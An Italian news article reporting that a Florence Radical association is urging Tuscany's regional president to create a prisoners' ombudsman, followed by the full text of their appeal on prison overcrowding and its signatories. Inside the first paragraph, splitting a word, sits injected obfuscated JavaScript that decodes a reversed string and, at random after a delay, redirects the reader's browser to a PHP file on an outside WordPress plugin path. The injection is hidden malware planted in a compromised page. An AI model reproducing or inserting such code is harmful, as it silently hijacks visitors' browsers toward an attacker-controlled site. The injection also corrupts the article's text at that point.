Garante regionale dei detenuti, i radicali sollecitano Claudio Martini

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Nessuna risposta da Claudio Martini alla lettera aperta che sollecitava l’istituzione del Garante Regionale  dei Detenuti. Questo lamenta l’Associazione  per l’iniziativa radicale Andrea Tamburi di Firenze, che rammenta al Presidente della Regione Toscana il proprio appello del marzo scorso e gli rinnova l’invito, anche in vista della prossima Festa della Toscana, che compie dieci anni. «E’ ancora possibile – scrivono oggi i radicali – dar vita al nostro appello, che sarebbe salutato come conferma dell’editto frutto della scelta “coraggiosa e visionaria” del Gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anduca Pietro Leopoldo del 30 novembre 1786 che abolì la pena di morte e la tortura».

Di seguito il testo dell’appello

APPELLO AL PRESIDENTE DELLA REGIONE TOSCANA

PER L’ISTITUZIONE DEL GARANTE REGIONALE DEI DETENUTI (E NON SOLO)

Ammoniva Voltaire: se vuoi conoscere davvero un Paese visitane le prigioni. Noi Radicali non abbiamo mai smesso di farlo: l’ultima volta è stato nei giorni di Ferragosto, quando ci siamo recati in 189 istituti sui 220 che formano il pianeta-carcere italiano. E’ stato un atto di sindacato ispettivo senza precedenti per la contemporaneità della visita e il numero di senatori, deputati e consiglieri regionali di ogni schieramento politico che hanno partecipato. Alcuni entravano in carcere per la prima volta, ma quella visita è stata sicuramente più istruttiva del più documentato e radicale saggio sullo stato di non-Diritto e non-Democrazia che vige nel nostro Paese, di cui le carceri sono lo specchio fedele e impietoso.

I detenuti sono ormai stabilmente ventimila di più dei posti regolamentari. Viceversa, gli agenti sono cinquemila in meno rispetto alla pianta organica, peraltro concepita in tempi e situazioni di “normalità”. Siamo arrivati al punto che in alcune prigioni non bastano più neanche letti a castello che arrivano a un palmo dal soffitto e i direttori sono costretti a tenere un “registro dei materassi” per stabilire a chi tocca dormire sul pavimento.

Se il nostro fosse uno Stato di Diritto, si cercherebbero soluzioni all’insegna della legalità e del rispetto dei principi costituzionali. Per far fronte al sovraffollamento nelle carceri, basterebbe ad esempio applicare la legge Gozzini sulle misure alternative alla detenzione, una legge vilipesa, criminalizzata e ormai caduta in disuso nel nostro Paese, nonostante le statistiche dicano che le misure alternative sono lo strumento più efficace contro la recidiva e per una maggiore sicurezza sociale. Per far fronte al “sovraffollamento” nei tribunali, occorrerebbe una grande amnistia, decisa da una legge del parlamento e alla luce del sole, contro quella immonda amnistia clandestina e di classe detta “prescrizione”, decisa di fatto dai magistrati e dagli avvocati.

Invece no. I tribunali hanno prodotto due milioni di reati prescritti negli ultimi dieci anni e sono ancora soffocati da undici milioni di processi pendenti, mentre in molte carceri i detenuti sono – è il caso di dire – “ristretti” in spazi di tre metri quadrati a testa. Ragion per cui la Corte Europea dei Diritti dell’Uomo continua a condannare l’Italia per denegata giustizia e violazione dell’articolo 3 della “Convenzione per la salvaguardia dei diritti dell’uomo e delle libertà fondamentali” che vieta la tortura e le pene o trattamenti inumani e degradanti.

Da gennaio ad agosto, nelle prigioni del nostro Paese sono morti “suicidi” 48 detenuti, e altri 78 sono morti di “malattia”, cioè di malagiustizia e malaprigione italiane. Nell’Italia di oggi vige quindi la tortura e un tipo di pena di morte che non è comminata “di diritto” dai tribunali ma è praticata “di fatto” nelle carceri… anche in quelle del Granducato di Toscana, il primo Stato al mondo ad aver abolito, il 30 novembre 1786, tortura e pena di morte.

Giustamente, ogni anno, la Regione Toscana ricorda con varie iniziative questo suo antico e felice primato. Ci uniamo al ricordo e ai festeggiamenti, ma ci appelliamo a Lei, Signor Presidente, perché voglia marcare anche con un fatto di estrema attualità, necessità e urgenza l’ormai prossimo 223° anniversario della scelta coraggiosa e visionaria del Granduca Pietro Leopoldo. Sarebbe significativo se, in occasione della decima edizione della Festa della Toscana a questo dedicata, si potesse annunciare che la prestigiosa istituzione da Lei governata ha istituito con una legge ad hoc un vero e proprio Garante Regionale dei Diritti delle persone private della libertà, e non quella figura con competenze limitate a “la tutela della salute e la qualità della vita” nelle carceri toscane, istituita nel 2005 e, peraltro, mai entrata in funzione.

Nella nostra impostazione, vorremmo che l’ufficio del garante fosse uno strumento democratico di conoscenza, controllo, garanzia e proposta relativo alla condizione non solo dei detenuti, ma anche degli agenti di polizia, dei direttori e di tutti gli altri componenti la comunità penitenziaria, vittime – tutti e ciascuno – della stessa catastrofe umanitaria e della ordinaria illegalità, carceraria e non, che vige nel nostro Paese.

Sergio D’Elia, Segretario di Nessuno tocchi Caino

Antonella Casu, Segretaria di Radicali Italiani

Sergio Stanzani, Presidente del Partito Radicale Nonviolento, transnazionale e transpartito

Giancarlo Scheggi, Segretario dell’Associazione radicale “Andrea Tamburi”

Rita Bernardini, Deputata radicale presentatrice della proposta di legge istitutiva del Garante Nazionale dei Diritti delle persone private della libertà

I Parlamentari Radicali toscani eletti nelle liste del PD Matteo Mecacci, Marco Perduca e Donatella Poretti

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